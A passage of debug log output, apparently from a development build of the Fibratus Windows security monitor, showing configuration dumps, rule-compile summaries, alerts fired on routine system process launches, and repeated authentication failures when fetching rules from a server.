tls-insecure-skip-verify=>false]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false excluded-files=>[] scan-timeout=>10s enabled=>false skip-registry=>false skip-files=>false fastscan=>true skip-allocs=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:167 +time=2025-11-06T17:03:07+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:172 +time=2025-11-06T17:03:07+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: false + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess source=bootstrap/bootstrap.go:206 +time=2025-11-06T17:03:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:271 +time=2025-11-06T17:03:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:271 +time=2025-11-06T17:03:15+01:00 level=info msg=recompiling ruleset... source=rules/loader.go:129 +time=2025-11-06T17:03:25+01:00 level=info msg=recompiling ruleset... source=rules/loader.go:129 +time=2025-11-06T17:03:32+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 1296 + Pid: 1228 + Tid: 8292 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 17:03:29.7220201 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider, directory_table_base➜ 58234000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\BackgroundTaskHost.exe, exit_status➜ Success, flags➜ APPLICATION_ID|PACKAGED, kproc➜ ffff808f572e2080, name➜ backgroundTaskHost.exe, pid➜ 1900, ppid➜ 1228, real_ppid➜ 1228, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 17:03:29.7220201 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ LOW, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 1228 + Ppid: 1004 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T17:03:32+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 1299 + Pid: 1228 + Tid: 8292 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 17:03:31.0150292 +0100 CET + Params: cmdline➜ C:\WINDOWS\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}, directory_table_base➜ 44e694000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\DllHost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b730080, name➜ dllhost.exe, pid➜ 10772, ppid➜ 1228, real_ppid➜ 1228, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 17:03:31.0149301 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 1228 + Ppid: 1004 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T17:03:32+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 1301 + Pid: 1004 + Tid: 9360 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 17:03:31.2797067 +0100 CET + Params: cmdline➜ C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s wlidsvc, directory_table_base➜ 4227d7000, domain➜ NT AUTHORITY, exe➜ C:\WINDOWS\system32\svchost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f59f84080, name➜ svchost.exe, pid➜ 3304, ppid➜ 1004, real_ppid➜ 1004, session_id➜ 0, sid➜ S-1-5-18, start_time➜ 2025-11-06 17:03:31.2796002 +0100 CET, token_elevation_type➜ DEFAULT, token_integrity_level➜ SYSTEM, token_is_elevated➜ true, username➜ SYSTEM + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 1004 + Ppid: 404 + Name: services.exe + Parent name: wininit.exe + Cmdline: C:\WINDOWS\system32\services.exe + Parent cmdline: wininit.exe + Exe: C:\WINDOWS\system32\services.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\services.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T17:03:35+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 1303 + Pid: 2052 + Tid: 12064 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 17:03:32.9702334 +0100 CET + Params: cmdline➜ taskhostw.exe, directory_table_base➜ 16dc27000, domain➜ NT AUTHORITY, exe➜ C:\WINDOWS\System32\taskhostw.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f59fc5080, name➜ taskhostw.exe, pid➜ 6660, ppid➜ 2052, real_ppid➜ 2052, session_id➜ 0, sid➜ S-1-5-18, start_time➜ 2025-11-06 17:03:32.9702334 +0100 CET, token_elevation_type➜ DEFAULT, token_integrity_level➜ SYSTEM, token_is_elevated➜ true, username➜ SYSTEM + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 2052 + Ppid: 1004 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T17:03:35+01:00 level=info msg=recompiling ruleset... source=rules/loader.go:129 +time=2025-11-06T17:03:45+01:00 level=info msg=recompiling ruleset... source=rules/loader.go:129 +time=2025-11-06T17:03:55+01:00 level=info msg=recompiling ruleset... source=rules/loader.go:129 +time=2025-11-06T17:04:05+01:00 level=info msg=recompiling ruleset... source=rules/loader.go:129 +time=2025-11-06T17:04:15+01:00 level=info msg=recompiling ruleset... source=rules/loader.go:129 +time=2025-11-06T17:04:24+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T17:04:24+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:287 +time=2025-11-06T17:04:25+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:287 +time=2025-11-06T17:04:25+01:00 level=info msg=recompiling ruleset... source=rules/loader.go:129 +time=2025-11-06T17:13:47+01:00 level=info msg=bootstrapping with pid 7024. Version: dev source=bootstrap/bootstrap.go:166 +time=2025-11-06T17:13:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ port=>25 to=>[] content-type=>text/html enabled=>false use-template=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-thread=>true enable-registry=>true enable-handle=>false enable-mem=>false enable-image=>true enable-vamap=>true min-buffers=>16 enable-audit-api=>true enable-dns=>false enable-net=>true buffer-size=>512 max-buffers=>36 flush-interval=>1s stack-enrichment=>true enable-fileio=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 level=>info max-backups=>15 log-stdout=>true formatter=>text max-size=>100] + output ......................... [ http=>[ enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] serializer=>json timeout=>5s method=>POST] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ healthcheck-interval=>10s trace-log=>false enabled=>false sniff=>false healthcheck-timeout=>5s index-name=>fibratus timeout=>5s bulk-workers=>1 flush-period=>1s template-name=>fibratus healthcheck=>true gzip-compression=>false servers=>[http://127.0.0.1:9200]] amqp=>[ url=>amqp://localhost:5672 passive=>false timeout=>5s exchange-type=>topic enabled=>false routing-key=>fibratus delivery-mode=>transient exchange=>fibratus durable=>false tls-insecure-skip-verify=>false vhost=>/] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-procs=>[] scan-timeout=>10s skip-allocs=>false fastscan=>true skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:167 +time=2025-11-06T17:13:47+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:172 +time=2025-11-06T17:13:47+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: false + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess source=bootstrap/bootstrap.go:206 +time=2025-11-06T17:13:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:271 +time=2025-11-06T17:13:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:271 +time=2025-11-06T17:14:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T17:14:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:287 +time=2025-11-06T17:14:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:287 +time=2025-11-06T17:14:58+01:00 level=info msg=bootstrapping with pid 17748. Version: dev source=bootstrap/bootstrap.go:166 +time=2025-11-06T17:14:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 use-template=>true to=>[] enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-handle=>false flush-interval=>1s enable-thread=>true stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false enable-audit-api=>true enable-image=>true max-buffers=>36 enable-registry=>true min-buffers=>16 enable-dns=>false enable-vamap=>true enable-net=>true enable-mem=>false enable-fileio=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true level=>info formatter=>text max-age=>0 max-size=>100] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s timeout=>5s template-name=>fibratus index-name=>fibratus enabled=>false healthcheck=>true flush-period=>1s trace-log=>false bulk-workers=>1 gzip-compression=>false healthcheck-timeout=>5s sniff=>false] http=>[ serializer=>json enable-gzip=>false timeout=>5s endpoints=>[] method=>POST enabled=>false tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] amqp=>[ tls-insecure-skip-verify=>false vhost=>/ enabled=>false url=>amqp://localhost:5672 durable=>false passive=>false exchange-type=>topic timeout=>5s routing-key=>fibratus delivery-mode=>transient exchange=>fibratus] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ fastscan=>true skip-registry=>false skip-allocs=>false excluded-procs=>[] enabled=>false scan-timeout=>10s skip-files=>false skip-mmaps=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:167 +time=2025-11-06T17:14:58+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:172 +time=2025-11-06T17:14:58+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: false + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess source=bootstrap/bootstrap.go:206 +time=2025-11-06T17:14:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:271 +time=2025-11-06T17:14:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:271 +time=2025-11-06T17:15:01+01:00 level=info msg=recompiling ruleset... source=rules/loader.go:131 +time=2025-11-06T17:15:11+01:00 level=info msg=recompiling ruleset... source=rules/loader.go:131 +time=2025-11-06T17:15:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T17:15:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:287 +time=2025-11-06T17:15:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:287 +time=2025-11-06T22:46:21+01:00 level=info msg=bootstrapping with pid 4104. Version: dev source=bootstrap/bootstrap.go:166 +time=2025-11-06T22:46:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ to=>[] content-type=>text/html port=>25 enabled=>false use-template=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-audit-api=>true enable-fileio=>true enable-registry=>true max-buffers=>36 enable-thread=>true enable-net=>true enable-handle=>false enable-vamap=>true enable-dns=>false buffer-size=>512 min-buffers=>16 stack-enrichment=>true flush-interval=>1s enable-image=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text level=>info max-age=>0 log-stdout=>true max-backups=>15 max-size=>100] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ timeout=>5s healthcheck-interval=>10s healthcheck=>true gzip-compression=>false healthcheck-timeout=>5s index-name=>fibratus flush-period=>1s trace-log=>false servers=>[http://127.0.0.1:9200] sniff=>false bulk-workers=>1 enabled=>false template-name=>fibratus] http=>[ endpoints=>[] timeout=>5s serializer=>json enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false method=>POST] amqp=>[ url=>amqp://localhost:5672 durable=>false exchange=>fibratus exchange-type=>topic vhost=>/ enabled=>false routing-key=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient timeout=>5s passive=>false]] + pe ............................. [ enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-registry=>false skip-mmaps=>false enabled=>false scan-timeout=>10s excluded-files=>[] skip-files=>false skip-allocs=>false] source=bootstrap/bootstrap.go:167 +time=2025-11-06T22:46:21+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:172 +time=2025-11-06T22:46:21+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 1.251066888s... source=client/rulestore.go:48 +time=2025-11-06T22:46:23+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 2.374076194s... source=client/rulestore.go:48 +time=2025-11-06T22:46:28+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 5.774285662s... source=client/rulestore.go:48 +time=2025-11-06T22:46:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T22:46:35+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 6.204398872s... source=client/rulestore.go:48 +time=2025-11-06T22:46:49+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 8.447966955s... source=client/rulestore.go:48 +time=2025-11-06T22:46:57+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 9.349663927s... source=client/rulestore.go:48 +time=2025-11-06T22:47:09+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 12.004306582s... source=client/rulestore.go:48 +time=2025-11-06T23:06:23+01:00 level=info msg=bootstrapping with pid 14496. Version: dev source=bootstrap/bootstrap.go:170 +time=2025-11-06T23:06:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false use-template=>true to=>[] port=>25 content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-images=>false serialize-envs=>true 